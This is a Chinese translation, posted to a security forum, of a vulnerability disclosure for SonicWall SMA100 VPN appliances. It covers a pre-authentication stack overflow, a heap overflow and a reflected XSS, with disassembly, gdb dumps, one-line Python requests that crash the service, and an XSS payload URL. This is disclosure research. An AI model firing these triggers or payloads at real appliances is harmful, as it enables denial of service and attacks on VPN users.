[翻译]栈溢出、堆溢出与反射性XSS漏洞分析（SonicWall SMA100 CVE-2025-40596、CVE-2025-40597 和 CVE-2025-40598）-二进制漏洞-看雪安全社区

原文标题: Stack Overflows, Heap Overflows, and Existential Dread (SonicWall SMA100 CVE-2025-40596, CVE-2025-40597 and CVE-2025-40598)
原文链接: <a href="elink@245K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9j5h3u0K6i4K6u0W2N6$3q4@1j5$3S2@1L8%4N6J5i4K6u0W2j5$3!0E0i4K6u0r3M7%4c8S2j5$3E0Q4x3X3c8G2N6X3g2J5k6X3I4G2N6%4y4Q4x3X3c8Z5k6h3q4H3i4K6u0V1L8%4k6W2M7X3k6D9L8%4N6K6i4K6u0V1j5h3&6V1i4K6u0V1k6i4S2A6M7%4c8W2L8Y4c8A6j5h3I4Q4x3X3c8V1M7X3g2S2k6q4)9J5k6s2y4G2L8X3W2U0N6$3q4D9L8q4)9J5k6s2y4E0j5e0p5H3x3q4)9J5k6r3y4$3k6g2)9J5k6o6t1H3x3U0g2Q4x3X3b7@1x3o6f1&6y4W2)9J5k6r3y4$3k6g2)9J5k6o6t1H3x3U0g2Q4x3X3b7@1x3o6f1&6y4#2)9J5k6r3q4F1k6q4)9J5k6r3y4$3k6g2)9J5k6o6t1H3x3U0g2Q4x3X3b7@1x3o6f1&6z5q4)9J5c8R3`.`.">Stack Overflows, Heap Overflows, and Existential Dread (SonicWall SMA100 CVE-2025-40596, CVE-2025-40597 and CVE-2025-40598)</a>

2025年，我们坚信行业内存在一项不言而喻的默契：每台网络设备都必须包含至少一个可轻易规避的HTTP头解析漏洞——最好是在认证前阶段。若涉及sscanf函数，则可额外加分。
若果真如此，那真是太棒了！SonicWall的SMA100系列已自豪地完成了配额——甚至可能符合额外奖励的条件。

我们最初的探索之旅始于分析 SonicWall N-day 漏洞(<a href="elink@d8eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9j5h3u0K6i4K6u0W2N6$3q4@1j5$3S2@1L8%4N6J5i4K6u0W2j5$3!0E0i4K6u0r3M7$3!0F1K9h3y4T1L8$3!0E0i4K6u0V1k6Y4u0G2L8g2)9J5k6s2y4@1L8$3I4W2L8W2)9J5k6s2c8G2K9$3g2F1M7#2)9J5k6s2c8G2i4K6u0V1M7X3g2E0L8%4c8W2i4K6u0V1M7$3S2W2L8r3I4K6i4K6u0V1M7$3!0F1K9h3y4%4j5h3I4D9i4K6u0V1M7$3#2S2x3e0l9H3i4K6u0V1j5%4k6W2i4K6u0V1x3U0l9J5x3#2)9J5k6o6b7@1x3U0t1I4i4K6u0V1j5%4k6W2i4K6u0V1x3U0l9J5y4q4)9J5k6o6x3^5y4o6M7#2i4K6u0r3">SonicBoom, From Stolen Tokens to Remote Shells - SonicWall SMA (CVE-2023-44221, CVE-2024-38475)</a>)，当时它正受到我们友好的 APT 团队的密切关注。然而，在漏洞百出的攻击头和反向代理的迷雾中，我们偶然发现了一些漏洞，它们仿佛是 C 语言编程早期的遗留物。

虽然我们理解（并认同）这些漏洞最终难以利用——甚至在某些情况下目前无法利用——但它们的存在本身，坦率地说，就令人失望。由畸形HTTP头部触发的认证前堆栈和堆溢出本不应再发生。然而……我们却遭遇了。

来吧，与我们一同感叹。我们将带您回顾我们是如何发现这些漏洞的，发现了什么，以及为什么网络安全工作让人感到如此有保障。

在这篇博客中，我们将详细介绍在SonicWall SMA100系列中发现的三个漏洞——所有漏洞均在固件版本10.2.1.15上得到确认：

CVE-2025-40596 - 基于栈的缓冲区溢出（认证前）
CVE-2025-40597 - 基于堆的缓冲区溢出（认证前）
CVE-2025-40598 - 反射型跨站脚本攻击（认证前，需用户交互）

SonicWall 的安全公告可在此处查看： <a href="elink@5bfK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3M7$3W2J5N6q4)9J5k6h3N6D9L8$3u0S2L8q4)9J5k6i4y4G2L8X3W2U0N6$3q4D9L8q4)9J5k6h3y4G2L8g2)9J5c8Y4k6#2L8r3&6Q4x3X3c8V1k6i4c8S2K9h3I4Q4x3V1k6K6L8Y4N6D9K9h3c8Q4x3X3b7J5x3o6t1#2i4K6u0V1x3o6l9I4x3W2)9K6c8Y4u0W2k6W2)9K6c8r3I4S2j5Y4y4Q4x3X3g2%4j5i4c8U0K9s2c8G2N6%4u0Q4x3X3g2U0L8$3@1`.">Security Advisory</a>。

让我们深入探讨。

### CVE-2025-40596 - 认证前栈溢出漏洞

在审查负责处理 SonicWall SSLVPN 传入 HTTP 请求的 `/usr/src/EasyAccess/bin/httpd` 二进制文件时，我们发现了一个简单的基于堆栈的缓冲区溢出漏洞。值得注意的是，IDA无法反编译该漏洞函数。

httpd 二进制文件包含一系列条件检查，用于将传入请求映射到特定功能。如果请求 URI 以 `/__api__/` 开头，则触发以下逻辑。

首先，二进制文件对传入 URI 与 `/__api__/` 字符串进行 strncasecmp 比较：

![](upload/attach/202508/1040844_DFZKPRET2KNPMF9.png)

如果请求的 URI 的前 9 个字节以 `/__api__/ `开头，执行流程将跳转到 loc_444F0 块。让我们来仔细看看这个块。

loc_444F0 块的逻辑很简单——它调用著名的 sscanf 函数来解析用户输入。具体来说，它将用户提供的 URI 的一部分复制到存储在 rcx 寄存器中的内存地址中。该地址本身来自于 `[rsp+898h+var_878]` 的栈变量。

![](upload/attach/202508/1040844_XJ4JG33YRA5YT29.png)

位于 `[rsp+898h+var_878]` 的堆栈变量大小为 0x800 字节，并在函数执行过程中被清零。

该函数的意图似乎很明确——它旨在解析以下格式的传入 URI：

```
https://x.x.x.x/__api__/v1/login
```

sscanf 调用首先提取 2 个字节到 v1 中，然后将最后一个斜杠后面的所有字符复制到 0x800 字节的栈缓冲区中——**当然，没有进行任何边界检查**。

**...因为还能出什么问题呢？**

重现此问题非常简单——只需使用以下一行代码即可触发：

```
import requests; requests.get("https://x.x.x.x/__api__/v1/"+'A'*3000,verify=False)
```

如果远程连接断开，这强烈表明目标系统存在漏洞。然而，如果你发送一个较小的数据包——例如大约2000字节——服务器会返回400 Bad Request错误。

例如：

```
import requests; requests.get("https://x.x.x.x/__api__/v1/" + 'A'*2000, verify=False)
```

以下是在 gdb 中崩溃的具体表现：

![](upload/attach/202508/1040844_4K5F4FD8MM2RAY5.png)

由于SonicWall的`/usr/src/EasyAccess/bin/httpd`二进制文件启用了栈保护功能，使得此次溢出攻击的**危害程度仅为中等**。该溢出位置紧邻stack canary和返回地址，中间没有其他可被利用的变量。

然而，这仍然是一个发生在 2025 年 SSL-VPN 中认证前路径上的栈溢出漏洞。

### CVE-2025-40597 - 认证前堆溢出漏洞

一个已经令人沮丧，两个？唉……

在继续审查httpd二进制文件时，我们发现了一个名为mod_httprp.so的共享对象，该对象似乎处理了设备HTTP解析的大部分功能。其名称中的httprp可能代表“HTTP反向代理”——该库负责检查传入的HTTP请求，以实现各种SonicWall特定功能，包括内容过滤、远程桌面访问等。

该漏洞源于mod_httprp.so在解析`Host:header`时触发的越界堆写入操作。

这个漏洞很特别——不仅因为它涉及sprintf函数，还因为有人特意使用了“安全”版本，却依然突破了所有防护措施。

为了简单起见，我们将其分解开来——让我们来探究其根本原因。

```
v21 = calloc(0x80, 1);

.text:0000000000031DDE                 lea     rax, asc_43502+1 ; "/"
.text:0000000000031DE5                 lea     r8, aHttps+1    ; "https://"
.text:0000000000031DEC                 lea     rcx, aShostSSSSS+9 ; "%s%s%s%s"
.text:0000000000031DF3                 mov     r9, r15
.text:0000000000031DF6                 mov     esi, 1
.text:0000000000031DFB                 mov     [rsp+1220h+var_1218], rax
.text:0000000000031E00                 mov     rdx, [rbp+var_1108]
.text:0000000000031E07                 mov     rdi, r12
.text:0000000000031E0A                 xor     eax, eax
.text:0000000000031E0C                 mov     [rsp+1220h+var_1220], rdx
.text:0000000000031E10                 mov     rdx, 0FFFFFFFFFFFFFFFFh
.text:0000000000031E17                 call    ___sprintf_chk
```

首先，通过简单的 calloc(0x80) 调用分配一个堆块，返回一个已清零的内存区域。该块的指针存储在 v21 中，随后被传递给 `__sprintf_chk` 调用。

现在，你可能会想——`__sprintf_chk` 不是应该是个“安全”版本吗？这怎么可能存在漏洞？

确实会。但**前提是你使用方式错误**。

虽然`__sprintf_chk`函数期望接收一个带边界检查的size参数，但SonicWall开发者却选择了传递-1（即0xFFFFFFFFFFFFFFFF）。

对于在家中尝试的读者——**这不是进行边界检查的正确方式**。

SSL-VPN开发者们，你们离成功如此之近，却又如此之远……

这意味着该函数将继续从提供的`Host:header`的字节中复制到0x80大小的堆块中……直到遇到空字节。

让我们看看 v21 在复制前的内容：它指向我们刚刚通过 calloc 分配的 0x80 字节大小的堆块——正如预期的那样，完全是空的。紧接着它的是什么？额外的堆分配内存。

而这正是事情变得有趣的地方。

```
gdb> dq 0x55cdcdeca880 100
000055cdcdeca880     0000000000000000 0000000000000000 <- v21 calloc'd chunk starts here
000055cdcdeca890     0000000000000000 0000000000000000
000055cdcdeca8a0     0000000000000000 0000000000000000
000055cdcdeca8b0     0000000000000000 0000000000000000
000055cdcdeca8c0     0000000000000000 0000000000000000
000055cdcdeca8d0     0000000000000000 0000000000000000
000055cdcdeca8e0     0000000000000000 0000000000000000
000055cdcdeca8f0     0000000000000000 0000000000000000 <- v21 chunk ends here
000055cdcdeca900     0000000000000000 0000000000013701 <- next allocated heap chunk
000055cdcdeca910     0000000000000000 0000000000000000
000055cdcdeca920     0000000000000000 0000000000000000
000055cdcdeca930     0000000000000000 0000000000000000
000055cdcdeca940     0000000000000000 0000000000000000
000055cdcdeca950     0000000000000000 0000000000000000
000055cdcdeca960     0000000000000001 00000000000136a1
000055cdcdeca970     0000000000000000 0000000000000000
000055cdcdeca980     0000000000000000 0000000000000000
```

复制完成后，我们发现相邻堆块的元数据已被我们的控制数据覆盖。

这……不太理想。

```
gdb> dq 0x55cdcdeca880 100
000055cdcdeca880     2f2f3a7370747468 4141414141414141 <- v21 calloc'd chunk starts here
000055cdcdeca890     4141414141414141 4141414141414141
000055cdcdeca8a0     4141414141414141 4141414141414141
000055cdcdeca8b0     4141414141414141 4141414141414141
000055cdcdeca8c0     4141414141414141 4141414141414141
000055cdcdeca8d0     4141414141414141 4141414141414141
000055cdcdeca8e0     4141414141414141 4141414141414141
000055cdcdeca8f0     4141414141414141 4141414141414141
000055cdcdeca900     4141414141414141 4141414141414141 <- next heap chunk overwritten
000055cdcdeca910     4141414141414141 4141414141414141
000055cdcdeca920     4141414141414141 4141414141414141
000055cdcdeca930     4141414141414141 4141414141414141
000055cdcdeca940     4141414141414141 4141414141414141
000055cdcdeca950     4141414141414141 4141414141414141
000055cdcdeca960     4141414141414141 4141414141414141
000055cdcdeca970     4141414141414141 4141414141414141
000055cdcdeca980     4141414141414141 4141414141414141
```

重现此问题同样简单——只需执行以下一行命令即可触发：

```
import requests; requests.get("https://x.x.x.x/__api__/", headers={'Host':'A'*750}, verify=False)
```

关于利用此漏洞实现完全的认证前远程代码执行（RCE）——由于目标Web服务器上存在大量后台任务和脚本持续与之交互，我们在堆内存元数据操作过程中无法可靠地与服务器竞争。

### CVE-2025-40598 - 反射型跨站脚本（XSS）漏洞

更进一步的是，在审查可用CGI端点时，我们意外发现了一个经典的反射型XSS漏洞。

触发该漏洞极为简单——只需访问radiusChallengeLogin端点，并通过state参数注入XSS有效载荷。该值会直接反射到响应中，且未经过任何过滤。

值得注意的是，尽管SMA100 SSLVPN提供了WAF功能，但该功能在管理接口上似乎完全被禁用——这意味着即使是如下所示的基本有效载荷也足以触发该漏洞：

```
https://x.x.x.x/cgi-bin/radiusChallengeLogin?portalName=portal1&status=needchallenge&state="><img/src=x+onerror=alert\`1\`>
```
![](upload/attach/202508/1040844_NPEMKVDHS5Y75EX.png)

结果？就像 2005 年（或 2025 年的 Fortinet）发出的老式`alert(1)`，它想要找回自己的漏洞。

一段令人怀念的往事——也是一个提醒，有些事情永远不会改变。

回复或点赞可查看完整内容

传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！！

#漏洞分析 #缓冲区溢出 #Linux

最新回复 (12)
frankqq 雪币： 204 活跃值： (255) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	frankqq 2 楼为你点赞！ 2025-11-11 11:02 0
mb_qupzepyf 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 6 粉丝 0 关注私信	mb_qupzepyf 3 楼点赞 2025-11-22 22:58 0
mb_yulfwxzi 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_yulfwxzi 4 楼点赞 2025-11-22 23:31 0
wx_Timedout 雪币： 0 活跃值： (90) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 17 粉丝 0 关注私信	wx_Timedout 5 楼支持一下 2025-11-29 14:59 0
mb_nzxikbpf 雪币： 8 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	mb_nzxikbpf 6 楼学习 2026-2-4 11:54 0
flypuma 雪币： 73 活跃值： (243) 能力值： ( LV5，RANK：60 ) 在线值：发帖 4 回帖 29 粉丝 2 关注私信	flypuma 1 7 楼点赞 2026-2-5 09:42 0
一直奔跑雪币： 395 活跃值： (2034) 能力值： ( LV2，RANK：10 ) 在线值：发帖 3 回帖 21 粉丝 0 关注私信	一直奔跑 8 楼学习 2026-2-8 23:01 0
wx_KoChi-fung 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	wx_KoChi-fung 9 楼学习 2026-3-31 11:33 0
XCicada 雪币： 3103 活跃值： (2705) 能力值： ( LV6，RANK：80 ) 在线值：发帖 3 回帖 324 粉丝 101 关注私信	XCicada 2 10 楼点赞 2026-3-31 11:48 0
Aete333 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	Aete333 11 楼学习 2026-5-19 21:46 0
九月心情雪币： 0 活跃值： (2622) 能力值： ( LV5，RANK：70 ) 在线值：发帖 2 回帖 46 粉丝 0 关注私信	九月心情 12 楼 6666 2026-6-20 23:23 0
Ay雨下一整碗雪币： 20 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	Ay雨下一整碗 13 楼 88888888 2026-6-29 10:18 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复